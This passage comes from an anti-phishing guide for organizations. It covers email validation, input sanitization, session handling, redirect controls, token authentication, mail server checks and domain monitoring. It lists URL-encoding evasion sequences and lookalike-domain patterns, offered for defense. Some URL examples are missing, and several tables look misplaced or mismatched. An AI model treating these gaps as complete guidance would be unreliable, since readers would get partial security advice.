To be effective, organizations must ensure that they are sending a clear, concise and consistent message to their customers. For example, don't post announcements claiming to “never prompt users to fill in forms in an e-mail” one day and then send out an e-mail request for online bill payment the following day, which includes a login form in the e-mail.

• Respond quickly and clearly about phishing scams that have been identified. It is important that customers understand that the threat is real and, importantly, how the organization is working to protect them against attack. However, organizations must take care not to swamp customers with information.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td>Low Cost</td>
<td>Consistency</td>
</tr>
<tr>
<td>Out of all the anti-phishing techniques, ensuring that customers are aware of the threats and can take preventative action themselves proves to be a cost worthy investment.</td>
<td>Care must be taken to ensure that communications are conducted consistently. One poor decision can undermine much of the work.</td>
</tr>
<tr>
<td>Low Tech</td>
<td>Information Overload</td>
</tr>
<tr>
<td>By providing a low tech solution to a complex threat, customers are better able to trust their relationship with the organization.</td>
<td>Care must be taken to not overload customers with too much information and make them fearful of using the organization’s online resources.</td>
</tr>
</tbody>
</table>
3.3.2. Validating Official Communications

Steps may be taken by an organization to help validate official customer communications and provide a means for identifying potential phishing attacks. Tied closely with the customer awareness issues already discussed, there are a number of techniques an organization may apply to official communications, however care must be taken to use only techniques that are appropriate to the audience's technical ability and value of transactions.

E-mail Personalization

E-mails sent to customers should be personalized for the specific recipient. This personalization may range from the use of the customer's name, or reference some other piece of unique information shared between the customer and the organization.

Examples include:

- “Dear Mr Smith” instead of “Dear Sir,” or “Our valued customer”
- Credit card account holder “**** **** **32 6722” (ensure that only parts of confidential information are used)
- Referencing the initiating personal contact such as “your account manager Mrs Jane Doe…”

Organizations must ensure that they do not leak other confidential details about the customer (such as full address details, passwords, individual account details, etc.) within their communications.

Previous Message Referral

It is possible to reference a previous e-mail that was sent to the customer—therefore establishing a trail of trust in communications. This may be achieved through various means. The most common methods are:

- Clearly referencing the subject and date of the previous e-mail.
- Providing a sequential number to the e-mail.

While these methods of e-mail referral are valuable, they are also complex for the customer to validate. There are no guarantees that the customer still retains access to a previous e-mail to verify the sequence—and is especially so if the organization sends the customer a high volume of e-mails, or frequent advertising-type messages.
Digital Signatures

The use of digital certificates to sign messages is recommended. However, care must be taken to educate customers on their use and understand how to validate signatures.

Web Application Validation Portals

A successful method of providing reassurance to customers on the authenticity of a communication, and subsequently providing the ability to identify a new phishing attack, is to provide a portal on the corporate website. The web portal exists to allow customer to copy/paste their received message content to an interactive form, and for the application to clearly display the authenticity of the message.

If the message fails the authenticity checks, the message should be manually verified by the organization to evaluate whether the message contains a malicious phishing attack.

Similarly, an interface should be provided in which customer can copy/paste suspicious URLs that they have received. The application then validates whether this is a legitimate URL relating to the organization.

Visual or Audio personalization of E-mail

It is possible to embed personalized visual or audio data within an e-mail. This material would have been supplied by the customer previously, or contain the equivalent of a shared secret. However, this method is not recommended as it may be rendered ineffectual through the enforcement of non-HTML or attachment e-mails at the customer side.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td>Efficient</td>
<td>Additional Resources</td>
</tr>
<tr>
<td>The simple process of personalizing communications makes it a lot easier for customers to identify official communications from spam. Making the process of validating message sources faster and more efficient.</td>
<td>Organizations must typically expand their online validation services which will require additional resources – both in development and day-to-day management.</td>
</tr>
<tr>
<td>Customer Awareness</td>
<td>Customer Awareness</td>
</tr>
<tr>
<td>Customers may not use or be aware of the significance of these personalized protective actions.</td>
<td></td>
</tr>
</tbody>
</table>
3.3.3. Custom Web Application Security

Organizations constantly underestimate the anti-phishing potential of their custom web applications. By applying robust content checking functions and implementing a few “personalization” security additions, many popular phishing attack vectors can be removed.

Securing web-based applications offers the greatest “bang for the buck” method of protecting customers against phishing attacks.

A key security concern revolves around increasingly sophisticated cross-site scripting vulnerabilities. These cross-site scripting vulnerabilities often escape other client-side protection strategies due to inherent trust relationships between the customer and the website owner – resulting in highly successful (and undetectable) attacks.

Content Validation

One of the most common security flaws in custom web-based applications relates to poorly implanted (or nonexistent) input validation processes.

The key principles to successfully implementing content validation processes include:

- Never inherently trust data submitted by a user or other application components.
- Never present submitted data directly back to an application user without sanitizing it first.
- Always sanitize data before processing or storing it.
- Ensure that all dangerous characters (i.e. characters that may be interpreted by the clients browser or background application processes) as constituting an executable language are replaced with their appropriate HTML safe versions. For example, the less-than character “<” has a specific meaning in HTML – so is should be rendered back to users as &lt.
- Ensure that all data is sanitized by decoding common encoding schemes (such as %2E, %C0%AE, %u002E, %35%63) back to their root character. Again, if the character is “unsafe”, it should be rendered in the HTML equivalent format. Beware that this decoding process may have to be carried out many times – until all encoded sequences have been removed.

More information can be found in “URL Encoded Attacks” and “HTML Code Injection and Cross-site scripting” by Gunter Ollmann.
Session Handling

The stateless nature of HTTP and HTTPS communication necessitates the correct application of session handling processes. Many custom applications implement custom session handling routines that are potentially vulnerable to preset session attacks.

To overcome a preset session attack, developers should ensure that their application functions the following way:

- Never accept session information within a URL.
- Ensure that SessionID's have expiry time limits and that they are checked before use with each client request.
- The application should be capable of revoking active SessionID's and not recycling the same SessionID for an extended period.
- Any attempts to submit an invalid SessionID (i.e. one that has expired, been revoked, extended beyond its absolute life, or never been issued), should result in a server-side redirection to the login page and be issued with a new SessionID.
- Never keep a SessionID that was initially provided over HTTP after the customer has logged in over a secure connection (i.e. HTTPS). After authenticating, the customer should always be issued a new SessionID.

More information can be found in “Web Based Session Management” by Gunter Ollmann.

URL Qualification

For web-based applications that find it necessary to use client-side redirection to other page locations or hosts, great care must be taken in qualifying the nature of the link beforehand. Application developers should be aware of the techniques discussed in Section 2 of this paper.

Best practices for URL qualification are:

- Do not reference redirection URLs or alternative file paths directly within the browser (such as http://mybank.com/redirect.aspx?URL=secure.mybank.com).
- Always maintain a valid “approved” list of redirection URLs. For example, manage a server-side list of URLs associated with an index parameter. When a client follows a link, their submission will reference this index, and the returned redirection page will contain the full managed URL.
Never allow customers to supply their own URLs.

Never allow IP addresses to be used in URL information. Always use the fully qualified domain name, or at the very least conduct a reverse name lookup on the IP address and verify that it lies with a domain the application should be trusted.

Authentication Processes

For many phishing scams, a key goal of the attack is to capture the customer’s authentication credentials. To do so, the attacker must be able to monitor all the information submitted during the application login phase. Organizations can use multiple methods to make this process more difficult for the phisher.

Application developers should review the comprehensive guide to “Custom HTML Authentication” by Gunter Ollmann to prevent most forms of possible attack. However, related specifically to protecting against phishing attacks, developers should:

- Ensure that (minimally) a two-phase login process is used. The customer is first presented with a login screen that they must present account details that are typically less secure (i.e. there is a high probability that the customer may use these details on other websites – such as their login name and credit card number). Once successfully passing this page, they are presented with a second page that requires two or more unique pieces of authentication information before they can proceed to the application proper.

- Use of anti key-logging processes such as selecting specific parts of a password or pass phrase from drop-down list boxes is highly recommended.

- Try to used personalized content (combined with customer awareness) to identify fake websites. For example, when a customer originally creates their online account they should be able to select or upload their own personalized graphic. This personalized graphic will always be presented to them during the second stage of the authentication process and on any authenticated page. This graphic may be used as a watermark of authenticity to combat faked content.

- Not make the authentication process too complex. Be aware that disabled customers may have difficulty with some functionality such as drop-down boxes.
Image Regulation

As many phishing attacks rely upon hosting a copy of the target website on a system under the phisher’s control, there are potential avenues for organizations to automatically identify a faked website.

Depending upon whether the phisher has mirrored the entire website (including pages and their associated graphics) or is just hosting a modified HTML page (which reference graphics located on the real organizations servers), it may be possible to disrupt or uniquely identify the source of the attack.

Two methods are available to application developers:

- **Image Cycling**
  Each legitimate application page references their constituent graphical images by a unique name. Each hour, the names of the images are changed and the requesting page must reference these new image names. Therefore any out-of-date static copies of the page that make reference to these centrally stored images will become dated quickly. If an out-of-date image is requested (say 2+ hours old) a different image is supplied – perhaps recommending that the customer login again to the real site (such as “Warning: Image Expired”).

- **Session-bound Images**
  Extending the image cycling principle further, it is possible to reference all images with a name that includes the user’s current SessionID. Therefore, once a fake website has been discovered (even if the phisher is using locally stored graphics), the organization can review their logs in an attempt to discover the originating source of the copied website. This is particularly useful for fake sites that also use content that requires authenticated access and could only be gained by a phisher actually using a real account in the first place.

  In addition, the organization may utilize transparent or invisible watermarking technologies and embedding session information into the graphic itself. However, this process would incur high performance overheads at the server-side.
3.3.4. Strong Token-based Authentication

There are a number of authentication methods that make use of external systems for generating single-use or time-based passwords. These systems, often referred to as token-based authentication systems, may be based on physical devices (such as key-fobs or calculators) or software. Their purpose is to create strong (one-time) passwords that cannot be repeatedly used to gain entry to an application.

Customers of the legitimate web-based application may use a physical token such as a smartcard or calculator to provide a single-use or time-dependant password.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Robustness</strong></td>
<td><strong>Requires Skilled Developers</strong></td>
</tr>
<tr>
<td>By adding appropriate security to custom</td>
<td>Implementing these security additions requires</td>
</tr>
<tr>
<td>developed web applications, organizations find</td>
<td>skilled developers with some experience in</td>
</tr>
<tr>
<td>that not only are their applications better</td>
<td>implementing security. These resources are</td>
</tr>
<tr>
<td>capable of resisting phishing attacks, but that</td>
<td>traditionally harder to obtain.</td>
</tr>
<tr>
<td>overall robustness against other more</td>
<td></td>
</tr>
<tr>
<td>sophisticated attacks is gained.</td>
<td></td>
</tr>
<tr>
<td><strong>Cost Effectiveness</strong></td>
<td><strong>Must be Tested</strong></td>
</tr>
<tr>
<td>By fixing security issues within the application, the</td>
<td>Organizations must ensure that all new security</td>
</tr>
<tr>
<td>number of attack vectors available to a phisher</td>
<td>features (along with any standard application</td>
</tr>
<tr>
<td>diminishes substantially. Securing the base</td>
<td>modifications) are thoroughly tested from a</td>
</tr>
<tr>
<td>application thus proves to be a cost effective</td>
<td>security perspective before going live (or as</td>
</tr>
<tr>
<td>defense against current and future threats.</td>
<td>soon as possible after going live).</td>
</tr>
<tr>
<td><strong>Customer Independence</strong></td>
<td><strong>Performance Overheads</strong></td>
</tr>
<tr>
<td>Security improvements with the server-side</td>
<td>Extra processing resources are normally required</td>
</tr>
<tr>
<td>applications do not generally involve changes</td>
<td>to implement these security mechanisms. Therefore</td>
</tr>
<tr>
<td>to the customer’s experience. Therefore changes</td>
<td>application performance may be adversely affected.</td>
</tr>
<tr>
<td>can be conducted independent of the customer’s</td>
<td></td>
</tr>
<tr>
<td>client-side configuration.</td>
<td></td>
</tr>
</tbody>
</table>

![Diagram](image_url)
Due to high setup and maintenance costs, this solution is best suited to high value transactional web applications that are unlikely to require a large number of users.

As with any authentication process, organizations must strike a balance between what personal or confidential details are minimally required to uniquely authenticate a customer, and how much of this information is either publicly available or likely to be used by the customer to access another organization’s web-based application. By reducing the likelihood of authentication details being shared between multiple organizations, there are fewer opportunities for an attacker to achieve an identity theft.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Time Dependence</strong></td>
<td><strong>User Education</strong></td>
</tr>
<tr>
<td>The password is time dependant. Therefore, unless the phisher can retrieve and use this information within preset time limits, the password will have expired and become useless.</td>
<td>Users must be provided with guidance on how to use the physical token within a time-dependent framework.</td>
</tr>
<tr>
<td><strong>Physical Token Access</strong></td>
<td><strong>Token Costs</strong></td>
</tr>
<tr>
<td>A phisher must gain physical access to the token in order to impersonate the user and carry out the theft.</td>
<td>Physical tokens are typically costly to manufacture and distribute to users. Each physical token may cost between US $7 and $70, with distribution costs (such as postage) being additional.</td>
</tr>
<tr>
<td><strong>Sense of Trust</strong></td>
<td><strong>Setup Times</strong></td>
</tr>
<tr>
<td>Users are more inclined to trust token-based authentication systems for monetary transactions.</td>
<td>Account creation and token distribution will typically require a number of days before the user potentially can access the web application.</td>
</tr>
<tr>
<td><strong>Anti-Fraud</strong></td>
<td><strong>High Management Costs</strong></td>
</tr>
<tr>
<td>Duplicating the physical token requires much more sophistication, even if the victim provides their personal PIN number associated with the token.</td>
<td>Managing a token-based system requires more effort and greater access to internal resources.</td>
</tr>
<tr>
<td></td>
<td><strong>Scaling Issues</strong></td>
</tr>
<tr>
<td></td>
<td>A customer may need to carry multiple tokens, one for each service to which they are subscribed.</td>
</tr>
</tbody>
</table>

3.3.5. Host and Linking Conventions

A growing number of phishing attacks make use of the confusion caused by organizations using complex naming of host services (such as fully qualified domain names) and undecipherable URLs. Most customers are non-technical and are easily overwhelmed with the long and complex information presented in “follow this link” URLs.
Wherever possible, organizations should:

- Always use the same root domain. For example:

- Automatically redirect regional or other registered domain names to the main (single) corporate domain. For example:
  - http://www.mybank.co.uk redirects to http://www.mybank.com/UK

- Use host names that represent the nature of the web-based application. For example:

- Always use the simplest URL or host name possible. For example:

- Use address translation and load balancing technologies to avoid the use of numbered hosts. For example:

- Never keep session information in a URL format. For example, don’t do the following:

Instead, keep the URL as clean as possible and manage this extra information through appropriate server-side session management techniques (preferred), or keep the data within hidden fields of the HTML document and only use HTTP POST commands (less preferred).
3.4. Enterprise

Businesses and ISP's may take enterprise-level steps to secure against phishing scams – thereby protecting both their customers and internal users. These enterprise security solutions work in combination with client-side and server-side security mechanisms, offering considerable defense-in-depth against phishing and a multitude of other current threats.

Key steps to anti-phishing enterprise-level security include:

- Automatic validation of sending e-mail server addresses
- Digital signing of e-mail services
- Monitoring of corporate domains and notification of “similar” registrations
- Perimeter or gateway protection agents
- Third-party managed services

3.4.1. Mail Server Authentication

Multiple methods have been proposed to authenticate sending mail servers. In essence, the sender's mail server is validated (such as reverse resolution of domain information to a specific IP address or range) by the receiving mail server. If the sender's IP address is not an authorized address for the e-mail domain, the e-mail is dropped by the receiving mail server.
Alternatively, through the use of Secure SMTP, e-mail transport could be conducted over an encrypted SSL/TLS link. When the sender mail server connects to the recipient mail server, certificates are exchanged before an encrypted link is established. Validation of the certificate can be used to uniquely identify a trusted sender. Missing, invalid or revoked certificates will prevent a secure connection from occurring and not allow delivery of e-mails.

If desired, an additional check with the DNS server can be used to ensure that only authorized mail servers may send e-mail over the secure SMTP connection.
The purpose of validating the sending server’s address is to help cut down the volume of spam, and accelerate the receipt of e-mails known to come from a “good” source. However, both systems can be overcome with poor server configuration – especially if the sender server can operate as an open relay agent. It is important to note that Secure SMTP is not commonly deployed. However, e-mail server validation is useful in intra-corporate communications when combined with mail server rules that block/disallow inbound e-mails that use “From:” addresses which could only come from internal users.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td>Easy Configuration</td>
<td>From: Address Spoofing</td>
</tr>
<tr>
<td>Updating the DNS server with the relevant MX</td>
<td>Since the SMTP sender address is</td>
</tr>
<tr>
<td>records for each mail server is required for</td>
<td>not normally visible to e-mail</td>
</tr>
<tr>
<td>reverse resolution of valid mail servers within</td>
<td>recipients, it is still possible</td>
</tr>
<tr>
<td>a domain.</td>
<td>to spoof the From: address.</td>
</tr>
<tr>
<td>Anonymity Prevention</td>
<td>E-mail Forwarding</td>
</tr>
<tr>
<td>Sending servers are validated before e-mails</td>
<td>Neither method allows for e-mail</td>
</tr>
<tr>
<td>are accepted by the receiving server. Therefore</td>
<td>forwarding processes. Validation</td>
</tr>
<tr>
<td>the phishers sending server cannot be</td>
<td>of sending server depends upon</td>
</tr>
<tr>
<td>anonymous.</td>
<td>direct sender-receiver connections.</td>
</tr>
<tr>
<td>Business E-mail Identification</td>
<td>Third-party E-mail Services</td>
</tr>
<tr>
<td>Validation of the sending server can be used to</td>
<td>Third-party e-mail service</td>
</tr>
<tr>
<td>identify legitimate business e-mails, thereby</td>
<td>providers (such as MessageLabs)</td>
</tr>
<tr>
<td>lowering e-mail spam false positives</td>
<td>act as mail forwarders.</td>
</tr>
<tr>
<td></td>
<td>Secure SMTP Distribution</td>
</tr>
<tr>
<td></td>
<td>SMTP over secure SSL/TLS protocols</td>
</tr>
<tr>
<td></td>
<td>is not common, nor is the</td>
</tr>
<tr>
<td></td>
<td>implementation of the supporting</td>
</tr>
<tr>
<td></td>
<td>certificate architecture for mail</td>
</tr>
<tr>
<td></td>
<td>servers.</td>
</tr>
</tbody>
</table>

3.4.2. Digitally Signed E-mail

Extending the processes for digitally signed e-mail discussed in section 3.2.4, enterprises can configure their receiving e-mail servers to automatically validate digitally signed e-mails before they reach the recipient. This process may prove to be more efficient for an organization, and automatic steps can be taken to alert recipients of invalid or unsigned e-mails.

In addition, the enterprise e-mail server can be configured to always sign outbound e-mail. By doing so, a single “corporate” digital certificate can be used and customers who receive these signed e-mails can be confident that their received message is legitimate.
3.4.3. Domain Monitoring

It is important that organizations carefully monitor the registration of Internet domains relating to their organization. Companies should be continuously monitoring domain name registrars and the domain name system for domain names that infringe upon their trademarked names, and that could be used for launching spoofed websites to fool customers. There are two areas of concern:

1. The expiry and renewal of existing corporate domains
2. The registration of similarly named domains

Domain Name Expiry and Renewal

There are numerous agencies that allow the registration of domains previously owned by an organization that have not been renewed. Since many organizations own multiple domains, great care must be made to manage renewal payments if they wish to retain it. Failure to reregister domains in a timely fashion will result in a loss of service (i.e. domain name lookup no longer associates to an IP address) or the domains may be purchased by a third-party.

Registration of Similarly Named Domains

It is a simple process for someone to register a domain name through any domain registrar, anywhere in the world. Consequently, there are many routes and opportunities for third-parties to register domain names that may infringe upon an organization’s trademark or used to trick customers into believing that they have reached a legitimate host.
For example, assuming the organization’s name is “Global Widgets” and their normal website is www.globalwidgets.com, the organization should keep a watchful eye out for:

- Hyphenated names – www.global-widgets.com
- Legitimate possibilities – www.secure-globalwidgets.com
- Mixed wording – www.widgetglobal.com
- Long host names – www.global.widgets.com
- Hard to spot alternate spellings – www.globalwidget.com or www.globalwidgets.com
- Mixed-case ambiguities – www.globaiwidgets.com (www.gIobaIwidgets.com)

There are now commercial services available that help organizations monitor the domain name service and alert when potentially threatening new domains are registered. Similarly, alerting services exist that will observe popular hacking chat rooms and posting forums for discussions on phishing and other spoofing scams.

3.4.4. Gateway Services

The enterprise network perimeter is an ideal place for adding gateway protection services that can monitor and control both inbound and outbound communications. These services can be used to identify malicious phishing content; whether it is located within e-mail or other communication streams. Typical enterprise-level gateway services include:

- Gateway Anti-Virus Scanning – used to detect viruses, malicious scripting code and binary attachments that contain Trojan horse software.
- Gateway Anti-Spam Filtering – rule-based inspection of e-mail content for key phrases (such as Viagra) and bad words, typically used to identify common spam, but also capable of stopping many forms of phishing attacks that are designed to look like ordinary spam.
- Gateway Content Filtering – inspection of many types of communication methods (such as e-mail, IM, AOL, HTTP, FTP) for bad content or requests. Simple protection against users visiting known bad or dangerous websites.
- Proxy Services – Management concatenation of Internet protocols and control over types of egress communications. Protection against inbound attacks through the use of network address translation. Good protection against common information leakage of internal network configurations.
3.4.5. Managed Services

While perimeter defense systems provide a good safeguard against many common phishing attack vectors, phishers (along with spammers) are constantly developing methods designed to bypass these protection agents. Managed services in the realm of anti-spam and anti-phishing provide valuable improvements in security. This is largely due to their ability to analyze e-mail messages delivered at a global level, and identify common threads between malicious e-mails. For instance, an organization may only receive five or six carefully disguised phishing e-mails with minor content changes – not enough to trigger an anti-spam response – while the managed service provider has spotted several thousand of the same style e-mails, which triggers the anti-spam/anti-phishing blocking processes. When dealing with phishing and spam, e-mail volume is a key component in identifying malicious activities.

Active Web Monitoring

Managed service providers may deploy agent-based bots to monitor URLs and web content from remote sites, actively searching for all instances of an organization's logo, trademark, or unique web content. The subscribing organization institution provides a "white list" of authorized users of logo, trademark, and unique web content to the service provider. When the bots detect unauthorized deployments or instances of the logos, trademarks, or other web content, remediation actions may be taken by the subscriber.
Section 4: Summations

4.1. Conclusions

Phishing started off being part of popular hacking culture. Now, as more organizations provide greater online access for their customers, professional criminals are successfully using phishing techniques to steal personal finances and conduct identity theft at a global level.

By understanding the tools and technologies phishers have in their arsenal, businesses and their customers can take a proactive stance in defending against future attacks. Organizations have within their grasp numerous techniques and processes that may be used to protect the trust and integrity of their customer’s personal data. The points raised within this paper, and the solutions proposed, represent key steps in securing online services from fraudulent phishing attacks – and also go a long way in protecting against many other popular hacking or criminal attack vectors.

By applying a multi-tiered approach to their security model (client-side, server-side and enterprise), organizations can easily manage their protection technologies against today’s and tomorrow’s threats – without relying upon proposed improvements in communication security that are unlikely to be adopted globally for many years to come.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Ease of Use</strong></td>
<td><strong>Costly</strong></td>
</tr>
<tr>
<td>Since the services are provided by an external party, there are very few internal requirements in setting up and configuring the service.</td>
<td>For large organizations, outsourcing protection to managed service providers can be expensive. For smaller organizations, the cost may be less than running the service themselves with dedicated resources.</td>
</tr>
<tr>
<td><strong>Wider Visibility</strong></td>
<td><strong>False Positive Management</strong></td>
</tr>
<tr>
<td>Managed service providers that look after many organizations globally have great visibility of current threats and can easily identify threats that would normally fall below standard triggering threshold.</td>
<td>Steps must be taken to manage false positives and quarantine procedures – requiring internal resources to monitor and manage this process.</td>
</tr>
<tr>
<td><strong>Timely Intervention</strong></td>
<td></td>
</tr>
<tr>
<td>Legal writs may be generated as a result of active monitoring of content, and identification of inappropriate use even if no phishing e-mails have been detected.</td>
<td></td>
</tr>
</tbody>
</table>
4.2. Resources

“Proposed Solutions to Address the Threat of Email Spoofing Scams”,
The Anti-Phishing Working Group, December 2003

“Anti-Phishing: Best Practices for Institutions and Consumers”,
McAfee, March 2004

“URL Encoded Attacks”,
Gunter Ollmann, 2002

“HTML Code Injection and Cross-site scripting”,
Gunter Ollmann, 2001

“Web Based Session Management”,
Gunter Ollmann, 2002

“Custom HTML Authentication”,
Gunter Ollmann, 2003

“Phishing Victims Likely Will Suffer Identity Theft Fraud”,

Information Links

Code Fish Spam Watch - http://spamwatch.codefish.net.au/


Technical Info – http://www.technicalinfo.net/papers